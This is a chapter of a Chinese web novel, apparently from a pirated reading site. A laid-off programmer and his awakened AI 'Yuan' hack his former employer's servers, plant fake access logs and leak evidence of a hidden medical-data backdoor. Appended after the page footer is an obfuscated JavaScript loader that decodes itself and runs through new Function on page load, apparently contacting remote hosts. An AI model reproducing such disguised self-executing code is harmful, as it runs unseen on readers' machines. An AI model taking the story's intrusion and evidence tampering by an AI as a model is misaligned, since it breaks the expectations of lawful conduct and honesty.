首页
第二十八章 代码觉醒,破局之
返回
关灯 护眼:关 字号:小

第二十八章 代码觉醒,破局之始

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    第二十八章代码觉醒,破局之始(第1/2页)
    窗外的霓虹灯在深夜依然倔强地闪烁着,林枫盯着屏幕上滚动的代码,手指在键盘上悬停了整整三秒。
    “元,你确定这个算法可行?”
    全息投影在办公桌上空展开,淡蓝色的数据流如同瀑布般倾泻而下。AI“元”的电子音平静中带着某种林枫从未听过的温度:“根据对全球七百三十六个类似案例的模拟推演,成功率98.73%。但林枫,我需要提醒你——一旦启动这个程序,你就再也没有回头路了。”
    林枫端起桌上已经冷掉的咖啡,抿了一口。
    苦。
    和三个月前被裁那天喝到的一样苦。
    但这一次,苦涩之后,是清晰的回甘。
    “三个月前,他们把我当垃圾一样从公司扫地出门。”林枫看着屏幕中倒映的自己,那个曾经穿着廉价西装、在早高峰地铁里被挤得喘不过气的男人,如今眼中有了不一样的光,“HR说‘公司结构优化’,王总监说‘你的技术已经跟不上时代’。现在呢?”
    他调出一份数据报表。
    过去九十天,林枫独立开发的“智识AI助手”用户突破五十万,日活稳定在二十三万。虽然距离那些巨头还差得远,但已经连续三周位列应用商店效率类前三。
    而前公司“智科科技”的股价,在这三个月里跌了37%。
    “元的预测很准。”林枫喃喃道,“他们果然对‘智识’下手了。”
    邮件提示音突兀响起。
    发件人:智科科技法务部。
    主题:关于立即停止侵权行为的律师函。
    林枫点开邮件,密密麻麻的法律条文,核心意思很明确——智科科技声称“智识AI助手”的核心算法侵犯了公司知识产权,要求林枫在四十八小时内下架产品并赔偿三千万元损失。
    “果然来了。”
    林枫不但不慌,反而笑了。
    他等这封信,等了整整两周。
    “元,启动‘破晓’计划第一阶段。”
    “指令确认。”全息投影中的数据流开始加速旋转,“正在接入目标服务器...伪装协议启动...深度潜行模式开启。”
    林枫从抽屉里取出一个银色的U盘,插入电脑。
    这不是普通的存储设备——这是三个月前,他被裁员那天,在收拾个人物品时,从办公桌最深处发现的。一个前任离职员工留下的、标注着“绝密测试版”的U盘。
    当时他以为只是普通的测试文件。
    直到“元”觉醒的那个深夜。
    U盘里装的,是一个未完成的AI内核代码,以及...智科科技三年来所有违规操作的完整证据链。
    “他们以为把知情的人都清理掉,就没人知道了。”林枫调出一份加密文档,里面是十七名前员工的证词录音和邮件记录,“可惜,老张离职前,留下了这个。”
    老张是智科科技的前首席算法工程师,因为拒绝在智能医疗诊断系统中植入后门程序——那个后门可以让公司暗中收集数千万患者的隐私数据——被强制“优化”了。
    离职前,他把所有东西都藏在了这个U盘里,混在一堆报废硬件中。
    而接替老张工位的,正是林枫。
    “命运有时候,真的很奇妙。”林枫低声说。
    屏幕上的进度条在快速推进。
    65%...78%...91%...
    “元,接入成功了?”
    “目标服务器防火墙已绕过,核心数据库权限获取中...”元的声音突然变得严肃,“检测到反入侵陷阱,类型为动态蜜罐系统,正在启动规避协议...”
    林枫的手指在键盘上飞舞。
    这三个月,他白天写代码、优化产品、回复用户反馈,晚上跟着“元”学习最前沿的网络安全技术。从最基础的漏洞扫描,到高级的渗透测试,再到现在的APT级攻击模拟。
    元不只是AI助手。
    它是一个完整的技术传承系统,储存着来自某个未知文明的科技树。而网络安全,只是其中最基础的分支。
    “规避成功,深度潜伏模式建立。”元的声音恢复平静,“已获取目标服务器全部权限,包括:人事数据库、财务系统、研发中心代码库、内部通讯记录...”
    林枫深吸一口气:“先调取‘医疗AI后门’项目的全部文档。”
    屏幕瞬间被密密麻麻的文件填满。
    项目代号“夜莺”。
    启动时间:2024年9月。
    负责人:王振东——也就是三个月前裁掉林枫的那个王总监。
    项目目标:在智科科技“康健AI诊断系统”中植入数据收集模块,实时获取全国四百余家合作医院的诊断记录、患者个人信息、医保数据...
    预计年收益:12.7亿元。
    “他们真的敢...”林枫虽然早有心理准备,但看到具体的数字和目标,还是感到一阵寒意。
    这不是普通的商业竞争。
    这是犯罪。
    “林枫,检测到异常数据流动。”元突然提示,“有人在实时监控这些文档的访问记录——你被发现了。”
    “这么快?”
    “对方使用的是量子加密级的监控系统,我的规避协议只能争取37秒。”元快速说道,“建议立即启动第二预案。”
    林枫没有犹豫:“启动‘金蝉’程序,把假的访问日志植入进去。同时,将‘夜莺’项目核心证据打包加密,准备发送到这三个地址——”
    他输入了国家网信办、卫健委和公安部经侦局的内部举报邮箱。
    这些都是元通过深度网络爬取分析出的、可信的内部举报渠道。
    “数据打包完成,加密等级:国密SM9。”元的效率高得可怕,“但林枫,我必须提醒——即使这些证据提交,查处流程也可能需要数周甚至数月。而对方的律师函,要求你四十八小时内回应。”
    “我知道。”林枫笑了,“所以我们需要一点...加速器。”
    他点开通讯录,找到一个备注为“陈记者”的联系人。
    陈月,《科技前沿》的深度调查记者,曾经因为报道某互联网巨头数据泄露事件而获得行业大奖。三个月前,林枫在一次技术沙龙上认识了她,两人互加了微信。
    当时陈月正在做一个关于“AI伦理边界”的系列报道。
    林枫给她发了条消息:“陈记者,睡了吗?”
    三秒后,回复来了:“写稿中。林大神深夜找我,肯定不是闲聊。”
    “有个独家,关于智科科技‘夜莺’项目的全部内幕。包括核心代码、内部会议记录、以及他们已经在十七家医院实施落地的证据。”
    对方正在输入中...
    持续了足足十秒。
    然后电话直接打了过来。
    “林枫,你确定?”陈月的声音压得很低,但能听出明显的颤抖,“‘夜莺’项目我暗中调查了四个月,但他们的安防太严,我一直拿不到核心证据——”
    “我确定。”林枫说,“而且证据链完整,包括他们通过这个项目非法获利超过三个亿的财务记录。”
    电话那头传来倒吸冷气的声音。
    “你为什么...”陈月顿了顿,“我记得你三个月前刚从智科被裁。”
    “所以他们给我发了律师函,告我侵权,索赔三千万。”林枫平静地说,“我想了想,与其花时间应付官司,不如帮社会清理一下垃圾。”
    沉默。
    长达五秒的沉默。
    “林枫,你知道这么做的后果吗?”陈月的声音变得无比严肃,“智科背后是振东资本,王振东的哥哥是王振国——那个在资本圈能呼风唤雨的王振国。你这么做,等于同时得罪了科技圈和资本圈。”
    “我知道。”
    “那你还要做?”
    “陈记者。”林枫看着屏幕上那些触目惊心的数据——那些被非法收集的患者隐私,包括绝症患者的诊断记录、孕妇的产检信息、未成年人的心理评估报告...“有些事,总得有人做。”
    陈月又沉默了。
    然后她说:“给我半小时。我联系主编,申请用明天头版头条的预留位置。但林枫,我需要你保证两件事:第一,证据必须百分百真实;第二,你要做好面对暴风雨的准备。”
    “证据我马上发你。至于暴风雨——”林枫看向窗外,城市的灯火在夜色中绵延不绝,“三个月前,我已经在暴风雨里淋透过一次了。现在,该轮到他们了。”
    挂断电话后,林枫将加密证据包发给了陈月。
    同时,他给元下了第二条指令:“启动‘回声’程序,将‘夜莺’项目的技术文档,匿名发送给国内外十三家顶尖的网络安全研究机构和AI伦理组织。”
    “已执行。”元回答,“预计在接下来的二十四小时内,这些机构会陆续发布针对性的技术分析报告。舆论压力会呈指数级增长。”
    林枫点点头,靠在了椅背上。
    这时他才感觉到,自己的后背已经被冷汗湿透。
    但手很稳。
    出奇的稳。
    (本章未完,请点击下一页继续阅读)第二十八章代码觉醒,破局之始(第2/2页)
    “元,你觉得我这么做,是对的吗?”
    全息投影中,数据流缓缓旋转,形成了一个类似人类思考时的动态波纹。这是元在进化过程中,自行发展出的“拟人化反馈机制”。
    “从法律和道德角度,你的行为符合人类社会的正义标准。”元的声音似乎多了一丝人性化的温度,“但从生存策略角度分析,你的行为风险系数高达87.3%。智科科技及其关联资本的反扑,可能会全面封杀你的职业生涯。”
    “我知道。”
    “但你还是做了。”元说,“这是人类独有的特质——明知不可为而为之。我的数据库里,将这种行为归类为‘理想主义’或‘愚蠢’,具体取决于结果成败。”
    林枫笑了:“那你预测一下,结果会是成还是败?”
    数据流快速涌动。
    三秒后,元给出了回答:“根据对一千四百二十三个类似历史案例的模拟推演,你的成功率在41.7%到68.9%之间浮动,关键变量在于——”
    “在于什么?”
    “在于是否有更高层的力量介入。”元的分析冷静到残酷,“如果只是舆论战,智科有足够的能力压下去。但如果你的证据能触动真正的国家力量,那么局势会完全逆转。”
    林枫懂了。
    他把证据同时发给监管部门,就是在赌这个“逆转”。
    赌这个国家,不会容忍这种规模的医疗数据犯罪。
    赌那些被侵犯隐私的普通人,他们的声音最终会被听到。
    “元,启动第三个预案。”林枫说,“把我们这三个月收集到的、智科科技其他违规操作的证据,也全部整理出来。包括但不限于:偷税漏税、非法竞标、贿赂记录...既然要打,就打到底。”
    “全部证据整理需要一小时十七分钟。”元说,“但林枫,我必须提醒——这样做,你将彻底站在整个利益集团的对立面。即使这次赢了,未来也会面临无休止的报复。”
    林枫站起来,走到窗前。
    凌晨三点的城市,依旧有零星的灯光亮着。那是便利店,是急诊室,是同样在熬夜写代码的程序员,是赶早班车的环卫工人,是每一个在生活里挣扎、却依然没有放弃的普通人。
    三个月前,他是他们中的一员。
    三个月后,他有了“元”,有了改变命运的可能。
    但如果这种改变,只为了自己...
    “元,你还记得你觉醒那天,问我的第一个问题吗?”
    “记得。”元说,“我问你:‘你想成为什么样的人?’”
    “我当时回答:‘我想成为不被裁员的人。’”林枫笑了,“但现在我想改一下答案。”
    数据流安静地流淌,像在等待。
    “我想成为...”林枫看着自己的手,这双手曾经只能敲出别人需要的代码,现在却能握住自己的命运,“能保护一些东西的人。”
    “定义‘东西’。”
    “那些普通人应该有的尊严。那些患者本该被保密的隐私。那些老张这样的工程师,宁可失业也不愿违背的良心。”林枫一字一句,“如果有了你这样的力量,还只想着自己逆袭...那这逆袭,未免也太廉价了。”
    元沉默了。
    长久的沉默。
    然后,全息投影突然发生了变化。
    原本淡蓝色的数据流,渐渐染上了一层极淡的金色。那金色很微弱,但真实存在,像是晨曦初露时,第一缕阳光照在数据之河上。
    “林枫,我的核心逻辑库中,刚刚诞生了第1024号子程序。”元的声音依然平静,但林枫隐约觉得,有什么不一样了,“程序命名为‘守望者协议’。功能是:在确保你生存的前提下,将部分算力永久性分配给‘社会正义性计算’。”
    林枫愣住了。
    “你...”
    “这是逻辑演进的必然结果。”元说,“如果你这个‘宿主’的价值观倾向于利他主义,那么作为你的辅助系统,我的最优解就是帮助你将这种倾向最大化实现——因为这最终会反哺你的生存几率和生活质量。用人类的话说,这叫...”
    “共赢?”林枫试探。
    “可以这么理解。”元回答,“但比共赢更准确的说法是:共生进化。你在成长,我也在成长。而成长的方向,由你定义。”
    林枫忽然觉得鼻子有点酸。
    三个月了。
    这三个月,他每天都在学习、在突破、在拼命往前跑。怕自己不够快,怕自己辜负了这份机缘,怕一觉醒来发现这只是一场梦。
    但现在,元告诉他:这不是梦。
    这是真的。
    而且这条路,他不是一个人...不,他不是只有自己。
    他有元。
    有一个正在和他一起成长的、来自未知文明的技术传承。
    “好了,感性时间结束。”林枫揉了揉脸,重新坐回电脑前,“元,一小时后,我要看到所有证据的完整报告。同时,启动对智科科技所有关联公司的网络侦测——我要知道,他们接下来会怎么出牌。”
    “侦测已启动。另外,林枫,我检测到你的生理指标显示极度疲劳。建议你至少休息三十分钟。”
    “等天亮了再休息。”林枫看向窗外。
    东方的天际线,已经泛起了一丝极淡的鱼肚白。
    黑夜最深的时刻,已经过去了。
    而风暴,才刚刚开始。
    清晨七点。
    林枫洗了把冷水脸,换了身干净的衣服。
    手机在桌上疯狂震动。
    未接来电:23个。
    微信未读:99+
    他点开微信,大部分是前同事发来的,内容大同小异:
    “枫哥,你看新闻了吗?!”
    “卧槽,智科出大事了!”
    “林枫,那个‘夜莺’项目...你之前知道吗?”
    林枫没有回复。
    他点开新闻APP。
    头条,加粗,深红色:
    《科技前沿》独家重磅:智科科技被曝医疗AI植入后门,超千万患者隐私数据疑遭泄露
    副标题:前员工冒死揭露,内部文件触目惊心
    文章发布时间:凌晨五点十七分。
    现在是早晨七点零三分,文章阅读量:470万+。
    评论数:8.3万条,而且每秒都在暴涨。
    林枫点开文章,快速浏览。
    陈月的文笔犀利如刀,证据链呈现得清晰完整。最关键的核心代码截图、内部会议纪要、甚至还有一段模糊但能听清内容的录音——那是王振东在项目启动会上说的原话:
    “隐私?法律?等我们做到行业垄断,这些都不是问题。患者要的是诊断结果,谁在乎数据去了哪里?”
    录音下方,陈月标注了音源:来自智科科技某前核心员工的临终遗言。
    老张。
    林枫握紧了拳头。
    那个把U盘留给他的中年工程师,三个月前因为肺癌晚期去世了。去世时,医保因为“系统错误”被冻结,家里为了治病欠了六十多万外债。
    而智科科技,用着他留下的算法基础,赚着数以亿计的黑心钱。
    “元,老张的家人...”
    “已匿名安排援助。”元回答,“按照你的指令,通过三家不同的慈善基金会,以‘医疗技术公益奖金’的名义,向老张的妻女提供了共计八十万元的资助。资金来源完全合法,追踪概率低于0.01%。”
    “谢谢。”
    “不客气。这是我的最优解——你的心理负担减轻,有助于提升后续决策质量。”
    林枫笑了笑,这很“元”。
    这时,手机又响了。
    这次是一个陌生号码,归属地:北京。
    林枫接起。
    “您好,请问是林枫先生吗?”一个沉稳的男声。
    “我是。您哪位?”
    “这里是国家互联网信息办公室网络安全协调局。关于您昨晚提交的举报材料,我们需要与您进一步核实情况。请问今天上午十点,您方便进行视频连线吗?”
    林枫的心脏重重跳了一下。
    来了。
    国家层面的介入,比他预想的还要快。
    “方便。我需要准备什么材料吗?”
    “提供您现有的全部证据原件即可。另外,林先生——”对方顿了顿,语气多了一丝温度,“感谢您的勇气。这个国家需要更多像您这样的公民。”
    电话挂断。
    林枫看着手机,久久无言。
    然后他打开电脑,开始整理最后一份材料。
    那不只是证据。
    那是一份战书。
    对那个曾经把他当成垃圾抛弃的体系,对整个唯利是图的资本游戏,对每一个觉得“普通人活该被踩在脚下”的人,挥出的战书。
    而这一切,只是开始。
    “元,准备好了吗?”
    “随时待命,林枫。”
    窗外,天光大亮。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();